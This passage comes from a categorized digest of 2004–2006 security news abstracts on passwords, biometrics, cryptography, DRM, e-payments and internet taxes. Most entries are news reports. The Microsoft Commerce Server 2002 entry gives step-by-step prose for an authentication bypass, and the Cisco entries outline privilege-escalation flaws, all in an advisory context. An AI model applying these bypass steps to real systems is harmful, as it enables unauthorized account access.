A security researcher with the Finnish military has shown how they could steal your fingerprint, by taking advantage of an omission in Microsoft Corp.'s Fingerprint Reader, a PC authentication device that Microsoft has been shipping since September 2004. Although the Fingerprint Reader can prevent unauthorized people from logging on to your PC, Microsoft has not promoted it as a security device. Hoping to understand why Microsoft had included the caveat about sensitive data, a researcher with the Finnish military, Mikko Kiviharju, took a close look at the product. In a paper presented at the Black Hat Europe conference last week, he reported that because the fingerprint image taken by the scanner is not encrypted, it could be stolen by hackers and used to inappropriately log in to a computer. Because the fingerprint image is transferred unencrypted from the Fingerprint Reader to the PC, it could be stolen using a variety of hardware and software technologies, called "sniffers," that monitor such traffic, said Kiviharju. Kiviharju's report: http://www.blackhat.com/presentations/bh-europe-06/bh-eu-06-Kiviharju/bh-eu-06-kiviarju.pdf.

43.3 Passwords

Category 43.3 *Passwords*

2005-08-10 **unauthorized use administrator passwords students policy felony charges monitoring**

RISKS; http://www.wired.com/news/technology/0,1282,68480,00.html 24 02

ADMIN PASSWORDS TAPED TO BACKS OF LAPTOPS; STUDENTS FACE FELONY CHARGES

Thirteen high-school students in the Kutztown Area School District (Pennsylvania) face felony charges of tampering with computers after defeating security measures on laptops issued to them by the school district. They used administrator passwords (taped to the backs of the computers) to override Internet filters and download software such as iChat that the district policy forbids. The laptops included an application that allowed district administrators to see what students did with the computers. However, the students modified the monitoring program so that they could see what the administrators did with their computers. The students and their parents argued that the felony charges are unwarranted, but, according to the district, students and parents signed acceptable use policies that clearly state what activities are not allowed and that warn of legal consequences if the policy is violated. The students continued to violate district policies for use of the computers even after detentions, suspensions, and other punishments, according to the district. Only then did school officials contact the police.

[Abstract by Peter G. Neumann]

Category 43.3 *Passwords*

2005-09-16 **password sniffing audio recognition tuning spell-check high accuracy**

DHS IAIP Daily;
http://news.yahoo.com/s/sv/_www12662937;_ylt=AiX.GcAU5Lpn34b
ns3op.pus0NUE;_ylu=X3oDMTA3cjE0b2MwBHNlYwM3Mzg−,
http://siliconvalley.com

TUNING INTO PASSWORDS

Many people have heard of keyboard sniffing, in which someone sneaks software into your computer and monitors e-mail or documents. There is a new security threat that researchers are warning: keyboard listening. A graduate student in computer science at the University of California-Berkeley, developed a way of making audio recordings of keyboard strokes to see if words and phrases could be deciphered accurately. Using a microphone plugged into a laptop running generic speech recognition and spell-check software, the team was able to associate the sound of individual keys on a keyboard with specific letters and thus figure out what was being written with 96 percent accuracy.

Category 43.3 *Passwords*

2005-10-21 **canonical passwords Joe accounts primitive security elementary errors identification authentication I&A preemption denial of service DoS**

RISKS 24 08

CANONICAL PASSWORDS (STILL!)

San Francisco administrators of OARS, Online Assessment Reporting System, issued a generic password (same for all teachers) that left the system wide open to anyone who knew a teacher's user name, because many teachers had not gotten around to changing the password. [Source: Nanette Asimov, *San Francisco Chronicle*, 21 Oct 2005, B2]

Cingular moved its voicemail system over to an AT&T wireless service over the past two weeks. Anyone initializing the account before the legitimate owner can then gain total access to the account. Approximately 26 million Cingular subscribers of the old system are potentially affected. [Source: Ryan Kim, *San Francisco Chronicle*, 21 Oct 2005, C1]

[Abstracts by Peter G. Neumann]

Category 43.3 *Passwords*

2005-11-18 **passwords authentication plaintext plain text risks sniffing**

RISKS; http://www.infoworld.com/article/05/11/04/45OPsecadvise_1.html 24 11

RISKS OF PLAINTEXT PASSWORDS

RISKS contributor Steve Summit points us to a report about the risks of using plaintext passwords. He writes, "[T]he article also makes the point that although the passwords so sniffed are often "unimportant" ones, for services such as mere e-mail access or gambling site logins, people are often known to use their same passwords for these and for their "secure" systems such as Windows network logins."

Mr. Summit additionally recommends security expert Bruce Schneier's newsletter "Crypto-Gram", available at < http://www.schneier.com/crypto-gram.html>

Category 43.3 *Passwords*

2006-03-08 **password vault null user interface error design flaw stupid technical support idiots fools bafflegab nonsense frustrating**

RISKS http://catless.ncl.ac.uk/Risks/24.19.html#subj12 24 19

INSECURE APC BIOPOD ILLUSTRATES PROBLEMS WITH UNTRAINED STAFF

Gabe Goldberg provided a depressingly believable tale of wooden-headed stupidity in the face of his analysis of a design flaw in the APC "BioPod" password vault. The device provides biometric access control with or without a password. The password is derived automatically from the Windows password -- and Mr Goldberg correctly pointed out to the company that it accepts a null Windows password without warning the user that there is therefore no master password loaded on the device. Nothing he could say to the technical support person he spoke to could overcome the stock repetition of the very flaw he was trying to report. In the infuriating display of stubborn denial that characterizes very stupid people, the agent simply kept repeating the presumably written description of exactly what was wrong as if it were an explanation. Perhaps the best line in the entire dialog was "Officially the BioPod is not advertised as a security device, but a password manager, so it is not designed to increase the security of your computer, but provide a safe way to manage and store your passwords."

[MK adds: this design flaw also raises questions about the security experience of the people who designed the software.]

Category 43.3 *Passwords*

2006-03-08 **access control passwords keyspace keylength banking online policy**

RISKS 24 19

AUSTRALIAN NATIONAL CREDIT UNION LIMITS INTERNET PASSWORD KEYSPACE

A RISKS correspondent noted, "A step backwards for customers of Australian National Credit Union (www.friendlybanking.com.au) where from 21 Mar 2006 all users of the credit union's Internet banking will be limited to choosing passwords of six characters, consisting only of the numbers 0-9. They have previously had the ability to choose alpha-numeric passwords of varying length.

The credit union's website claims that the changes are for enhanced security. . . ." The correspondent added, "After I enquired about this apparent backward step, the credit union's response claimed this was required for the implementation of two-factor authentication, amongst other security enhancements. Two-factor authentication might be great for those who use it, but those that don't will be left with the limited password options."

Category 43.3 Passwords

2006-03-19 **vulnerability Microsoft Commerce Server 2002 authentication bypass solution update**

DHS IAIP Daily; http://www.securiteam.com/windowsntfocus/5AP0C2KI0E.html

MICROSOFT COMMERCE SERVER 2002 AUTHENTICATION BYPASS.

Improper authentication validation allows attackers to authenticate as an existing user in Microsoft Commerce Server 2002. Analysis: The problem is in the sample files of "authfiles." If the user makes his/her own solution site in Commerce Server and the "authfiles" are installed on the server, the user is vulnerable for positive user logon's using false passwords. If someone knows a user (some sites uses an e-mail address) and goes to http://site/authfiles/login.asp (some sites have it in another directory) and enters the Username and a false password, the user will get an error. After the error, if the user goes with the same browser to the root directory of the site, http://site/, another error occurs. Then, if the user navigates again to the site he/she will be logged on as the entered user. Vulnerable Systems: Microsoft Commerce Server 2002. Immune Systems: Microsoft Commerce Server 2002 SP2. Vendor Status: The vendor has issued a warning: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/csvr2002/htm/cs_se_securityconcepts_cbgw.asp The vendor has issued the following fix: http://www.microsoft.com/downloads/details.aspx?familyid=58e 6d658-cc3e-4846-8ef7-264e6eeb4c1e&displaylang=en

---

Category 43.3 Passwords

2006-05-02 **Cisco Unity Express expired password privilege escalation vulnerability**

DHS IAIP Daily; http://www.securityfocus.com/bid/17775/discuss

CISCO UNITY EXPRESS EXPIRED PASSWORD PRIVILEGE ESCALATION VULNERABILITY.

Cisco Unity Express (CUE) is prone to a privilege escalation vulnerability. Analysis: CUE contains a vulnerability that might allow an authenticated user to change the password for another user by using the HTTP management interface, if the password for the user being modified is marked as expired. This can result in a privilege escalation attack and complete administrative control of a CUE module, if the password being changed belongs to an administrator. An attacker could reset the password of a privileged account that has an expired password. Vulnerable: Cisco Unity Express 2.2(2); Cisco Unity Express 2.1(1); Cisco Unity Express 1.1(1); Cisco Unity Express. Solution: Fixes are available. Please see the referenced Cisco advisory for details: http://www.cisco.com/warp/public/707/cisco-sa-20060501-cue.s html

---

Category 43.3 Passwords

2006-05-08 **Cisco Secure ACS insecure password storage vulnerability**

DHS IAIP Daily; http://www.securityfocus.com/bid/16743/discuss

CISCO SECURE ACS INSECURE PASSWORD STORAGE VULNERABILITY.

Cisco Secure ACS is susceptible to an insecure password storage vulnerability. Analysis: With the master key, the user can decrypt and obtain the clear text passwords for all ACS administrators. With administrative credentials to Cisco Secure ACS, it is possible to change the password for any locally defined users. This may be used to gain access to network devices configured to use Cisco Secure ACS for authentication. If remote registry access is enabled on a system running Cisco Secure ACS, it is possible for a user with administrative privileges typically domain administrators to exploit this vulnerability. For a complete list of vulnerable products: http://www.securityfocus.com/bid/16743/info ACS 3.x for UNIX, and ACS 4.0.1 for Windows are not affected this issue. For more information: http://www.securityfocus.com/bid/16743/references

---

43.6 E-mail authentication (e.g., SPF & SenderID)

Category 43.6 E-mail authentication (e.g., SPF & SenderID)

2005-04-18 **e-mail secure transfer delivery receipt confirmation smart card reader electronic digital signature certificate authority**

RISKS; http://www.ynetnews.com/articles/0,7340,L-3073923,00.html 23 84

ISRAELIS TO RECEIVE SECURE E-MAIL ADDRESS TO BE USED FOR CONTACTS WITH AUTHORITIES

Shoshanah Forbes expressed skepticism about the proposed "secure e-mail" initiative in Israel:

"The Social-Economic Cabinet approved Sunday a plan put forth by Finance Minister Benjamin Netanyahu to expand Israel's *approachable Government* program. The government also approved the *safe deposit box* program, a system of secure e-mail boxes that would allow government offices to send official permits, signed forms, receipts and messages to businesses and individuals. [...] At first, the system will support forms in text format (TXT, PDF, RTF, HTML, XML), the last two without Active Script. The `safe' will require the recipient to send a `proof of receipt' to the sender. Each sent message will be coded to identify the sender, to allow the recipient to forward the message to a third party, and an expiry date. [...] In order to use the system, individuals and businesses will be required to obtain a smart card, a card reader (estimated cost: NIS 55 or about USD 12), and to register an electronic signature (approximately NIS 20 or about USD 4.5)."

In addition to all the usual RISKS such a scheme brings up, I should note that to this date, the bill paying website (http://www.mybill.co.il) works only with Win/IE, so I won't be surprised if the above setup will also be Win/IE only.

Category 43.6 E-mail authentication (e.g., SPF & SenderID)

2006-04-19 **e-mail authentication danger system break warning cryptography**

DHS IAIP Daily; http://news.com.com/Danger+Authenticating+e−mail+can+break+i t/2100−7349_3−6062953.html?tag=nefd.lede

DANGER: AUTHENTICATING E-MAIL CAN BREAK IT.

The promise of e-mail authentication is too good to ignore, but if it is implemented incorrectly it will break a company's mail system instead of fixing it, experts have cautioned. "Deploy smart. Don't just do it," Erik Johnson, a secure messaging executive at Bank of America, said in a presentation at the Authentication Summit Wednesday, April 19. "If you just do it, you may just break it." For the past two years, the technology industry has been advocating the use of systems to guarantee the identity of e-mail senders. It sees such authentication as key to the fight against spam and phishing, as it should help improve mail filters and make it harder for senders to forge their addresses. The industry also likes to advertise that these systems have practically no cost. The key problem for large companies is figuring out all the systems that send e-mail on their behalf, said Paul Judge, chief technology officer at e-mail security company CipherTrust. "If you are a large multinational organization, you may have e-mail gateways in 10 countries, you may have marketing companies that send e-mail on your behalf," he said.

44.1 Crypto algorithms

Category 44.1 *Crypto algorithms*

2005-02-07 **National Institute of Standards and Technology NIST SHA-1 hash algorithm change SHA-256 SHA-512 no emergency**

DHS IAIP Daily; http://www.fcw.com/fcw/articles/2005/0207/web−hash−02−07−05. asp

NIST PLANNING TO CHANGE WIDELY-USED CRYPTOGRAPHIC HASH FUNCTION

Federal agencies have been put on notice that National Institute of Standards and Technology (NIST) officials plan to phase out a widely used cryptographic hash function known as SHA-1 in favor of larger and stronger hash functions such as SHA-256 and SHA-512. The change will affect many federal cryptographic functions that incorporate hashes, particularly digital signatures, said William Burr, manager of NIST's security technology group, which advises federal agencies on electronic security standards. "There's really no emergency here," Burr said. "But you should be planning how you're going to transition — whether you're a vendor or a user — so that you can do better cryptography by the next decade."

Category 44.1 *Crypto algorithms*

2005-02-20 **new cryptographic protocol secure wireless network delayed password disclosure Indiana University source code release 2005**

DHS IAIP Daily; http://www.newscientist.com/article.ns?id=dn7037

NOVEL CRYPTOGRAPHIC PROTOCOL COULD HELP SECURE WIRELESS COMPUTER NETWORKS.

Markus Jakobsson and Steve Myers of Indiana University demonstrated a new security scheme, dubbed "delayed password disclosure," at the American Association for the Advancement of Science meeting in Washington, DC, on Saturday, February 19. Existing security protocols focus on securing the link between two machines to counteract eavesdropping. But making sure that a computer is connected to a legitimate access point in the first place is also important. If a hacker uses his computer as a fake access point and then relays the messages on to a real one, the information can be stolen covertly. The delayed password disclosure protocol counteracts this threat by allowing both parties to use a pre-arranged password or pin for authentication, but prevents this from being revealed during communications. Jakobsson adds that the scheme would be not be noticed by users, as they are only notified when the wireless link seems suspicious. Computer code for the protocol will be released in the next couple of months and a version for mobile phones should also be ready by the end of 2005.

Category 44.1 *Crypto algorithms*

2005-06-07 **quantum computer cryptography security guarantee wireless link Massachusetts Harvard Boston University DARPA**

DHS IAIP Daily; http://www.newscientist.com/article.ns?id=dn7484

QUANTUM CRYPTOGRAPHY NETWORK GETS WIRELESS LINK

The world's first quantum encryption computer network has been expanded to include a wireless link that uses quantum communications codes. The wireless connection was added to the Defense Advanced Research Projects Agency (DARPA) Quantum Network, a quantum fiber-optic network buried beneath the ground in Massachusetts. The network was built by BBN Technologies with funding from DARPA. It now links ten different sites, including BBN's offices, Harvard University and Boston University. Most modern cryptography rests upon the difficulty of solving very complex mathematical problems used to encrypt data. This makes it theoretically vulnerable to being hacked using dramatic mathematical or computing breakthroughs. By contrast, quantum cryptography near guarantees communications security, using quirks of quantum physics to thwart eavesdropping attempts. Quantum cryptography guarantees security by encoding information as polarized photons which can be sent down a fiber optic cable or through the air. Intercepting these photons disturbs their quantum state, alerting both sides to an eavesdropper's presence.

Category 44.1 Crypto algorithms

2005-07-01 **quantum computing information processing progress HP DARPA**

EDUPAGE; http://www.nytimes.com/2005/07/01/technology/01hewlett.html

HP CLAIMS PROGRESS ON QUANTUM COMPUTING

Researchers at HP said they have taken a significant step in the development of a functioning quantum computer, and the Pentagon's Defense Advanced Research Projects Agency (DARPA) is contributing as much as $10 million to support the project. As opposed to the transistors--which can register either 1 or 0--that underlie today's computer processors, quantum computing is based on the physics of subatomic particles, allowing so-called "qubits" to represent both 1 and 0 simultaneously. The result could be vastly expanded processing power of quantum computers compared to those based on transistors. The DARPA funding will be used by the researchers to construct a functioning prototype. One researcher commented that to perform a single demonstration will not be difficult; the challenge lies in doing it reliably and "in a way that will allow us to do quantum information processing." Other quantum physics researchers question the basis of the HP team's approach, saying that fundamentally different approaches to quantum computing hold more promise. New York Times, 1 July 2005 (registration req'd)

44.2 Crypto products

Category 44.2 *Crypto products*

2005-02-15 **instant messaging IM off-the-record OTR private encrypted chat no trace Gaim plugin AOL proxy University California Berkeley**

DHS IAIP Daily; http://news.zdnet.co.uk/internet/security/0,39020375,39187934,00.htm

INSTANT MESSAGING GETS PERFECT FORWARD SECURITY

Two researchers at the University of California at Berkeley have created an add-on to instant messaging (IM) that they claim will enable the participants to identify each other and have a secure conversation without leaving any proof that the chat occurred. The result, dubbed off-the-record (OTR) messaging by security researchers Ian Goldberg and Nikita Borisov, is a plug-in for the Gaim open source instant-messaging client that enables encrypted messages that do not leave a key that could be used to verify that the conversation happened. That attribute, known in cryptography as perfect forward security, also prevents snoopers from reading any copies of the conversation. In order for a secure and deniable IM conversation to occur, both parties need to have the off-the-record program installed on Gaim or use America Online's Instant Messenger with a server set up to be a proxy with software also developed by Goldberg and Borisov.

Category 44.2 *Crypto products*

2005-05-03 **quantum cryptography single photon light beam stop hackers interception key**

DHS IAIP Daily; http://www.reuters.com/newsSciTech.jhtml;jsessionid=QT1GT4CX50JBYCRBAEZSFFA

SCIENTISTS CLAIM DEVELOPMENT OF CODE TO STOP HACKERS

Australian scientists believe they have developed an unbreakable information code to stop hackers, using a diamond, a kitchen microwave oven and an optical fiber. Researchers at Melbourne University used the microwave to "fuse" a tiny diamond, just 1/1000th of a millimeter, onto an optical fiber, which could be used to create a single photon beam of light which they say cannot be hacked. Photons are the smallest known particles of light. Until now, scientists could not produce a single-photon beam, thereby narrowing down the stream of light used to transmit information. "When it comes to cryptology, it's not so much of a problem to have a coded message intercepted, the problem is getting the key (to decode it)," said university research fellow James Rabeau, who developed the diamond device. "The single-photon beam makes for an unstealable key."

Category 44.2 *Crypto products*

2005-07-26 **VoIP voice over IP Internet telephony surveillance snooping confidentiality data leakage fraud encryption protection defense**

RISKS; http://www.wired.com/news/technology/0,1282,68306,00.html 23 95

PHIL ZIMMERMANN TACKLES VoIP SECURITY

First there was PGP e-mail. Then there was PGPfone for modems. Now Phil Zimmermann, creator of the wildly popular Pretty Good Privacy e-mail encryption program, is debuting his new project, which he hopes will do for internet phone calls what PGP did for e-mail. Zimmermann has developed a prototype program for encrypting voice over internet protocol, or VOIP, which he will announce at the BlackHat security conference in Las Vegas this week.

Like PGP and PGPfone, which he created as human rights tools for people around the world to communicate without fear of government eavesdropping, Zimmermann hopes his new program will restore some of the civil liberties that have been lost in recent years and help businesses shield themselves against corporate espionage.

[Extract from article by Kim Zetter in Wired News]

Category 44.2 Crypto products

2006-02-22 **new security technology quantum cryptography photonic decoys foil hackers**

DHS IAIP Daily; http://www.networkworld.com/news/2006/022206−quantum−cryptography.html

STUDY SHOWS HOW PHOTONIC DECOYS CAN FOIL HACKERS.

A University of Toronto professor and researcher has demonstrated for the first time a new technique for safeguarding data transmitted over fiber-optic networks using quantum cryptography. Professor Hoi-Kwong Lo, a member of the school's Center for Quantum Information and Quantum Control, is the senior author of a study that sheds light on using what's called a photonic decoy technique for encrypting data. Quantum cryptography is starting to be used by the military, banks and other organizations that seek to better protect the data on their networks. This sort of cryptography uses photons to carry encryption keys, which is considered safer than protecting data via traditional methods that powerful computers can crack. Quantum cryptography is based on fundamental laws of physics, such that merely observing a quantum object alters it. Lo's study is slated to appear in the Friday, February 24, issue of Physical Review Letters.

Category 44.2 Crypto products

2006-04-09 **IBM hardware security technology Secure Blue DRM PowerPC Intel AMD**

EDUPAGE; http://news.zdnet.com/2100-1009_22-6059276.html

IBM ADDS SECURITY TO HARDWARE

IBM has developed technology that adds hardware-level encryption to data on a range of electronic devices. Researchers at the company said that the technology, called Secure Blue, encrypts and decrypts data as it passes through a processor. Data are encrypted in RAM, as well, resulting in a high level of security for devices such as personal computers, cell phones, digital media players, and electronic organizers. The flip side to the protection that Secure Blue provides to users is a new level of control offered to other owners of content, such as media companies. Digital rights management (DRM), which dictates how content may be used, could be bolstered by IBM's new technology, allowing music producers, for example, another tool to restrict unauthorized usage of their intellectual property. Secure Blue has been demonstrated with IBM's PowerPC processor and is said to be compatible with processors from Intel and Advanced Micro Devices, though IBM said it is not currently in talks with those companies to add the technology to their chips.

44.3 Steganography

Category 44.3 Steganography

2005-10-21 **steganography printer identification tracking surveillance criminal investigation identification originator**

RISKS; http://tinyurl.com/d9axy; 24 08
http://www.eff.org/Privacy/printers/docucolor/

PRINTER STEGANOGRAPHY

Many color printers (Xerox, HP, etc.) add barely visible yellow dots that encode printer serial numbers and time stamps (down to the minute). Intended primarily to combat counterfeiters, the purportedly "secret" steganographic code in color printer copies has now been decoded by four people at the Electronic Frontier Foundation. (The encoding is straightforward, and includes no encryption.) There are of course various slippery-slope privacy issues.

[Abstract by Peter G. Neumann]

[MK adds: Such tracking information may be helpful in criminal investigation of threats sent through printed documents or frauds involving such documents. In countries with repressive regimes, it may be used by authorities to track down publishers of samizdat (unauthorized newsletters). In corporations, it may be used to identify anonymous whistleblowers.]

45.4 E-payments; e.g., credit-cards, e-brokers

Category 45.4 *E-payments; e.g., credit-cards, e-brokers*

2004-12-06 **electronic payments checks**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A41858-2004Dec6.html

ELECTRONIC PAYMENTS HAVE OVERTAKEN CHECKS

In 2003, Americans made 44.5 billion payments via electronic transactions, compared to only 36.7 billion payments by paper checks. The trend toward electronic purchases has been accelerated by strong growth in the popularity of debit cards, which can now be used to buy almost anything. Jean Ann Fox of the Consumer Federation of America says, "They're quick and easy. You don't stand there and hold up everybody in line behind you. Plus, folks are moving toward electronic banking and paying bills electronically." But she warns: "It's getting very confusing for consumers, and companies have not upgraded their protections." (Washington Post 6 Dec 2004)

Category 45.4 *E-payments; e.g., credit-cards, e-brokers*

2005-01-10 **credit cards cell phones security e-wallets**

NewsScan; http://www.nytimes.com/2005/01/10/technology/10cellphone.html

CELL PHONES COULD DOUBLE AS CREDIT CARDS

In Asia, cell phone handset makers are already marketing phones with embedded memory devices (a chip or magnetic strip) that can be swiped against credit or debit card readers in much the same way consumers now use plastic, and trials are underway to bring the technology to the U.S. Details are still being worked on important issues such as security -- consumers may be required to punch in an authorization code each time they charge something -- and in two trials users experienced difficulty in aiming their cell phones at the right angle for the card reader to pick up the data. "People got very upset. Pointing your cell phone at a target is very difficult," says Jorge Fernandes, CEO of cellphone software firm Vivotech. That issue will probably be resolved by switching from infrared to low-level radio signals, but the biggest obstacle is likely to be a dearth of card readers able to interact with the phones. "The phones are exciting, but it's going to be a long time" before a widespread base of U.S. merchants and consumers are equipped to use them, says Visa International VP Sue Gordon-Lathrop. (New York Times 10 Jan 2005)

Category 45.4 *E-payments; e.g., credit-cards, e-brokers*

2005-03-24 **bank account redit card transfer third party registration vulnerability fraud theft design flaw**

RISKS 23 81

RISKY US BANK VISA PRODUCT

John Meissen analyzed the security flaws in a new Visa service:

US Bank has a Visa product targeted at teens (or rather, their parents), called VisaBuxx. It looks and acts like a standard Visa-logo debit card, but is more like a prepaid phone card - you pre-load it with value, and it's not directly tied to any bank account.

Their web site and marketing literature talk about being able to easily add value to the card by transferring money online from an existing US Bank checking account. Unfortunately, the system leaves a lot to be desired.

The usbank.com website has a link for the VisaBuxx program. When you click on it you're redirected to another site, called visabuxx.com. This site is apparently run by someone called "WildCard Systems". In order to transfer money from your US Bank checking account to the card you have to provide WildCard Systems with your checking account number and routing information and authorization to pull funds from the account, or give them your own debit card number. While WildCard Systems may be honorable and trustworthy, the risks in this are so obvious that it's painful. Meanwhile, the Terms Of Service published on the site go to great lengths to explicitly disavow any responsibility for anything bad that might result from the use of the site.

The correct way for the bank to have implemented this would have been to provide the ability to associate the card with your existing Internet banking identity, and then let you log in through the bank's website and tell the them to send money from an account to the card rather than allowing the card operators to pull money from your account. Having the ability to provide account data to the VisaBuxx website is useful for non-US Bank customers, but a legitimate US Bank customer I shouldn't be forced to do it.

I find it mind-boggling that financial corporations still can't see the obvious when it comes to protecting customer account data. When dealing with an official bank product I should NEVER have to tell the application anything about my accounts.

45.5 Digital-rights management (DRM); e.g., copy protection, digital watermarks

Category 45.5 *Digital-rights management (DRM); e.g., copy protection, digital watermarks*

2004-12-03 **watermarks movies iTrace piracy video compression authentication**

NewsScan; http://www.usatoday.com/tech/news/techinnovations/2004-12-03-piracy-watermarks_x.htm

WATERMARK TECHNOLOGY SEEKS TO STAMP OUT FILM THIEVERY

Scientists at Sarnoff Labs have developed a "watermarking" technology called iTrace aimed at reducing video piracy perpetrated by moviegoers who secretly tape new films with handheld video cameras in the movie theater. Sarnoff's Jeffrey Lubin used his background in perceptual psychology to devise a watermark that not only would be invisible to the movie viewer, but would also survive several generations of crude copying. "The Holy Grail example is someone takes a camcorder into a movie theater and pirates a movie, and then compresses it on a digital file and puts it on the Internet," says Lubin. The iTrace watermark emerges gradually, over a 5-second interval, to exploit the tendency of human vision to compensate and ignore images that change slowly, he says. The watermark is actually a sequence of shifting blobs that get either lighter or darker and endure throughout the film. Each copy has its own unique watermark that enables studios to track the origin of a pirated copy. "The applications for watermarking are not just for the final result, but it also gives us freedom to move images around during production so that if they get into the wrong hands, they can be traced back to the last rightful owner," says Larry Birstock, executive VP of postproduction firm Post Logic Studios. (AP/USA Today 3 Dec 2004)

Category 45.5 *Digital-rights management (DRM); e.g., copy protection, digital watermarks*

2005-01-19 **anti-piracy DRM digital rights management consumer electronics hardware standards software Coral Consortium Marlin**

NewsScan; http://online.wsj.com/article/0

CONSUMER ELECTRONICS GIANTS UNITE AGAINST PIRACY

Some of the biggest names in consumer electronics, including Sony, Samsung Electronics, Philips Electronics and Matsushita Electric Industrial, have teamed up with Intertrust Technologies to form the Marlin Joint Development Association, which will coordinate their efforts to develop standard specifications for antipiracy software. The motivation behind the united effort is to impose some kind of uniformity on the consumer electronics industry, thereby avoiding the confusing array of digital rights management software options currently being used by computer hardware and software makers. "The CE industry has been pretty quiet," says Intertrust CEO Talal Shamoon. Now, they're "detonating their DRM." Intertrust was jointly purchased in 2003 by Sony, Philips and other investors. The Marlin effort comes on the heels of an earlier venture called the Coral Consortium, which was designed to ensure that different DRM programs were interoperable. (Wall Street Journal 19 Jan 2005)

Category 45.5 *Digital-rights management (DRM); e.g., copy protection, digital watermarks*

2006-02-03 **British UK library worry electronic content access digital rights management DRM copyright intellectual property right issues**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4675280.stm

BRITISH LIBRARY WORRIES ABOUT ACCESS TO ELECTRONIC CONTENT

In comments submitted to the All Party Parliamentary Internet Group, which is investigating digital rights management (DRM) technologies, the British Library has expressed strong concerns about the long-term viability of electronic resources. Content producers increasingly use DRM to limit unauthorized access to electronic materials, but officials from the library said the protections also threaten legitimate uses of content. Use of materials held by libraries constitutes an important exception to copyright laws, according to Clive Field, the British Library's director of scholarships and collections, but DRM tools inadvertently upset the balance between appropriate exceptions and the rights of content owners. Moreover, long-term access is at risk. Even when copyright expires for a work, the DRM tools applied to its electronic version will still be in place. If the owner cannot be contacted, there might be no way to unlock materials that are no longer covered by copyright. "This will fundamentally threaten the longstanding and accepted concepts of fair dealing and library privilege," according to the British Library's statement, "and undermine...legitimate public good access."

Category 45.5 *Digital-rights management (DRM); e.g., copy protection, digital watermarks*

2006-02-09 **Fraunhofer Institute German research MP3 anti-piracy tool development**

EDUPAGE; http://www.pcworld.com/news/article/0,aid,124676,00.asp

CREATORS OF MP3 DEVELOP TOOL TO COMBAT PIRACY

A German research group that developed the MP3 format in the late 1980s has developed a watermarking technology that it says will help curb illegal file sharing. Officials from the Fraunhofer Institute said that their technology is better than digital rights management (DRM) tools in that it does not require special hardware to play protected files and is less susceptible to hacking. Instead, the institute has developed a method of watermarking MP3 files and software to track those files. The result is that rather than identifying individuals who download protected files, the application tracks who has uploaded files that have been marked. According to Michael Kip, a spokesperson for the institute, "If, for instance, you purchase and download a CD, burn a copy, and give it to a friend, and that person puts it on a file sharing network, our system will trace that music back to you." That scenario, said Kip, could result in legal action against the person who originally bought the CD, depending on that person's country of residence and applicable copyright laws.

Category 45.5 *Digital-rights management (DRM); e.g., copy protection, digital watermarks*

2006-03-13 **University of Maryland digital right management DRM software anti-piracy tool collaborator identification**

EDUPAGE; http://www.pcworld.idg.com.au/index.php/id;92233453;fp;2;fpid;1

MARYLAND RESEARCHERS UNVEIL DRM TECHNOLOGY

Researchers at the University of Maryland's A. James Clark School of Engineering have developed digital rights management (DRM) technology that they say is highly resistant to the dilution that afflicts other DRM tools when many users collude on piracy. With most DRM technology, if 100 users work together to create a pirated copy of a movie, for example, the digital "fingerprint" is diluted 100 times, making it very difficult to identify those responsible. According to Assistant Professor Min Wu at the Clark School, with the new technology, if a group of users collude to copy a protected file, the researchers can identify all of those who participated. The new DRM technology can be used to protect movies, songs, images, and other documents. Sony BMG, which was recently involved in a brouhaha over attempts to add its own DRM protection, has expressed interest in the technology, as has the U.S. Department of Defense.

45.7 Sales taxes on Internet commerce

Category 45.7 Sales taxes on Internet commerce

2005-01-07 **taxes LA Los Angeles Internet lawsuit scam theft embezzlement**

NewsScan; http://www.usatoday.com/tech/news/2005-01-06-travel-suit_x.htm

L.A. SUES INTERNET TRAVEL SITES FOR ROOM TAXES

The city of Los Angeles is suing Internet travel sites Travelocity, Hotwire, Priceline, Expedia and Orbitz for failing to pay millions of dollars in hotel room taxes. The way it works is this: the travel sites negotiate discount rates for bulk purchase of rooms, mark up the rates for online sales of individual rooms, and then pay the city taxes on the negotiated rates rather than on the marked-up rates. A spokesperson for the city says, "The Web sites can't have it both ways. They can't charge consumers taxes based on retail price but give back to the city only part of the money." The defendants call the allegations in the lawsuit are "entirely without merit." (AP/USA Today 7 Jan 2005)

Category 45.7 Sales taxes on Internet commerce

2005-01-28 **Internet sales tax state online purchases tracking software registration merchants surveillance**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A44057-2005Jan28.html

PLANS FOR TAXING THE INTERNET

Forty state governments and the District of Columbia have issued bids from technology companies to design the software and Web-based networks for tracking online purchases and processing sales tax payments. Technology and consulting companies hoping to work on the project include Accenture, EDS, KPMG and PriceWaterhouseCoopers, along with software companies Taxware, Tax Matrix Technologies, and Vertex. Maureeen Riehl of the National Retail Federation notes: "A lot of businesses said they didn't want anyone running the registration system who could use the information as an opportunity to go after merchants for other things." (Washington Post 28 Jan 2005)

Category 45.7 Sales taxes on Internet commerce

2005-08-23 **FCC Internet telephone VoIP tax proposal Universal Service Fund USF**

EDUPAGE; http://news.zdnet.com/2100-1035_22-5842237.html

FCC PROPOSES USF TAX ON NET PHONE USERS

A Federal Communications Commission proposal released to public notice by the FCC's federal-state joint board on universal service recommends requiring more companies to pay taxes into the Universal Service Fund (USF). The shift would mostly affect Internet telephone providers, which don't currently pay into the fund. Internet-based services such as chat and instant messaging that don't link to the public telephone network would continue to be exempt from USF taxes, according to the proposal. The USF subsidizes telephone services in rural and high-cost areas, and companies that currently pay into the fund pass the costs on to their customers. ZDNet, 23 August 2005

Category 45.7 Sales taxes on Internet commerce

2005-12-14 **Internet phone VoIP tax FCC Universal Service Fund USF**

EDUPAGE; http://news.zdnet.com/2100-1035_22-5995488.html

FCC CHAIR PUSHES NEW INTERNET PHONE TAX

Chairman Kevin Martin said that imposing new taxes on more Internet phone users will probably be a priority next year for the FCC. The issue arose with regard to the Universal Service Fund (USF), which subsidizes services in rural and other high-cost areas, schools, and libraries. Long-distance, pay, wireless, and regular telephone services pay into the fund. Not determined are how such taxes will affect voice over Internet protocol (VoIP) providers and other telecommunications services. Some of the companies that provide VoIP services already contribute to the USF, but no regulations require such participation. "We need to move to collection for the Universal Service Fund that is technology-neutral," said Martin. Congress also is expected to address changes to universal service reform in 2006. ZDNet, 14 December 2005

45.8 E-commerce laws

Category 45.8 E-commerce laws

2005-01-06 **Canada Internet prescription drug sales ban proposal law legislation pharmacies**

NewsScan; http://www.latimes.com/technology/ats-ap_technology16jan06

CANADA CONSIDERS BAN OF INTERNET DRUG SALES

